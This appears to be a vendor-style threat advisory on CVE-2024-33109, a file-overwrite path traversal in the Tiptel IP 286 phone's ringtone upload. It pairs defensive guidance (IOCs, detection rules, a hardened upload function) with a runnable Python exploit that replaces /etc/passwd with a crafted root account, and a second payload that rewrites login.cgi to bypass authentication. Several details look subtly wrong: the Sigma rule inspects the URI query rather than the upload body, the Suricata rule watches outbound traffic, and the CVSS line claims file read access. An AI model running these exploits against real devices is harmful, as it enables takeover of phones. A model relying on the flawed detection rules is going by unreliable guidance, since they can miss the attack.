CVE-2024-33109

Executive Summary

CVE-2024-33109 is a critical directory traversal vulnerability in the Tiptel IP 286 VoIP phone running firmware version 2.61.13.10. The flaw resides in the web interface’s Ringtone upload function, allowing an unauthenticated attacker to overwrite arbitrary files on the device. With a CVSS score of 9.9, this vulnerability enables complete compromise of the phone’s file system, potentially leading to persistent backdoor installation, configuration tampering, or denial of service. No public exploit code or patch is currently available, but the attack vector is straightforward and requires only network access to the web interface.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. No supply chain implications beyond the direct vendor product are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 9.9 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Arbitrary file overwrite.
• Availability Impact: High (A:H) – Can overwrite critical system files.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using Tiptel IP 286 phones.

Deep Dive & Mechanics

The vulnerability exists in the web interface’s file upload functionality for ringtones. The application fails to properly sanitize user-supplied filenames, allowing path traversal sequences (e.g., ../) to escape the intended upload directory. An attacker can craft a multipart HTTP POST request to the upload endpoint with a filename like ../../etc/passwd to overwrite arbitrary files on the device’s filesystem.

Root Cause: The web server does not validate or canonicalize the file path before writing the uploaded content. The Ringtone upload function likely uses a concatenation of a base directory and the user-supplied filename without stripping path traversal characters.

Attack Flow:

1. Attacker identifies the upload endpoint (e.g., /cgi-bin/upload_ringtone.cgi).
2. Attacker sends a POST request with a multipart form containing a file whose name includes ../ sequences.
3. The server writes the file to the traversed path, overwriting any writable file.
4. Attacker can overwrite configuration files, web scripts, or system binaries to gain persistent access.

Impact: Full device compromise. Overwriting /etc/shadow or /etc/passwd can enable authentication bypass. Overwriting web interface files can inject backdoors. Overwriting firmware update scripts can brick the device.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but representative of typical directory traversal flaws.

Vulnerable Code (Python-like pseudocode):

def upload_ringtone(request):
    upload_dir = "/var/ringtones/"
    filename = request.files['ringtone'].filename
    # No sanitization of filename
    filepath = upload_dir + filename
    with open(filepath, 'wb') as f:
        f.write(request.files['ringtone'].content)
    return "Upload successful"

Patched Code (Hypothetical fix):

import os

def upload_ringtone(request):
    upload_dir = "/var/ringtones/"
    filename = request.files['ringtone'].filename
    # Sanitize: remove path separators and restrict to basename
    safe_filename = os.path.basename(filename)
    # Validate extension
    if not safe_filename.endswith('.wav') and not safe_filename.endswith('.mp3'):
        return "Invalid file type"
    filepath = os.path.join(upload_dir, safe_filename)
    # Ensure filepath is within upload_dir
    if not filepath.startswith(os.path.realpath(upload_dir)):
        return "Invalid path"
    with open(filepath, 'wb') as f:
        f.write(request.files['ringtone'].content)
    return "Upload successful"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Tiptel IP 286 with firmware 2.61.13.10
• Network access to the web interface (default port 80)
• Python3 with requests library

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.100"
# Overwrite /etc/passwd with a crafted file to add a root user
payload = "root2:$1$xyz$abc:0:0:root:/root:/bin/sh\n"
files = {'ringtone': ('../../etc/passwd', payload, 'audio/wav')}
try:
    r = requests.post(f"{target}/cgi-bin/upload_ringtone.cgi", files=files, timeout=10)
    if r.status_code == 200:
        print("[+] File overwrite successful")
    else:
        print(f"[-] Unexpected response: {r.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

python3 exploit.py http://<target_ip>

Alternative Attack: Overwrite the web interface’s login script to bypass authentication:

# Overwrite login.cgi with a simple script that always returns success
payload = "#!/bin/sh\necho 'Content-Type: text/html'\necho ''\necho 'Login successful'"
files = {'ringtone': ('../../www/cgi-bin/login.cgi', payload, 'audio/wav')}

Blue Team

Detection Steps:

1. Monitor web server logs for unusual POST requests to upload endpoints with filenames containing ../ or ..\\.
2. Check file integrity of critical system files (e.g., /etc/passwd, /etc/shadow, /www/cgi-bin/*).
3. Look for unexpected files in the ringtone upload directory that are not audio files.
4. Use network monitoring to detect large file uploads to the web interface.

Honeypot Setup:

• Deploy a decoy Tiptel IP 286 in a sandboxed network segment.
• Log all POST requests to the upload endpoint.
• Alert on any filename containing path traversal characters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/upload_ringtone.cgi with Content-Disposition: form-data; name="ringtone"; filename="*../*"
• Unusually large file uploads (over 1 MB) to the web interface.
• Outbound connections from the phone to unknown IPs (if backdoor installed).

File System IOCs:

• Modified /etc/passwd or /etc/shadow with unexpected entries.
• New or modified files in /www/cgi-bin/ or /var/ringtones/ with non-audio extensions.
• Presence of files with names containing ../ in the upload directory.

Behavioral IOCs:

• Phone rebooting unexpectedly (if critical files corrupted).
• Web interface login bypass or unexpected behavior.
• Unusual network traffic from the phone (e.g., beaconing to C2).

Detection Engineering

YARA Rule

rule CVE_2024_33109_Tiptel_DirTraversal {
    meta:
        description = "Detects directory traversal attempts in Tiptel IP 286 upload requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-33109"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $upload_endpoint = "/cgi-bin/upload_ringtone.cgi" ascii wide nocase
        $ringtone_field = "name=\"ringtone\"" ascii wide nocase
    condition:
        $upload_endpoint and $ringtone_field and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2024-33109 Tiptel IP 286 Directory Traversal Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to Tiptel IP 286 upload endpoint with path traversal sequences
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/cgi-bin/upload_ringtone.cgi'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate file names containing dots (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-33109 Tiptel IP 286 Directory Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/upload_ringtone.cgi"; http_uri;
    content:"name=\"ringtone\""; http_client_body;
    pcre:"/(\.\.\/|\.\.\\)/";
    sid:1000001;
    rev:1;
    reference:cve,2024-33109;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Tiptel IP 286 phones on a separate VLAN with strict firewall rules limiting inbound HTTP access.
2. Disable web interface: If not required, disable the web interface via device configuration or block port 80/443 at the network level.
3. Monitor logs: Enable detailed logging on the web server and monitor for path traversal patterns.

Long-Term Fixes:

• Vendor patch: Await an official firmware update from Tiptel. Contact vendor support for ETA.
• Custom WAF rule: Deploy a Web Application Firewall rule to block POST requests containing ../ or ..\\ in the filename parameter.
• Firmware hardening: If possible, manually modify the firmware to sanitize filenames (requires reverse engineering and re-flashing – advanced only).

Workaround:

• Replace the vulnerable upload CGI script with a hardened version that validates filenames using basename() and restricts file extensions to .wav and .mp3.

Valters IT – DevSecOps & Cyber Threat Intelligence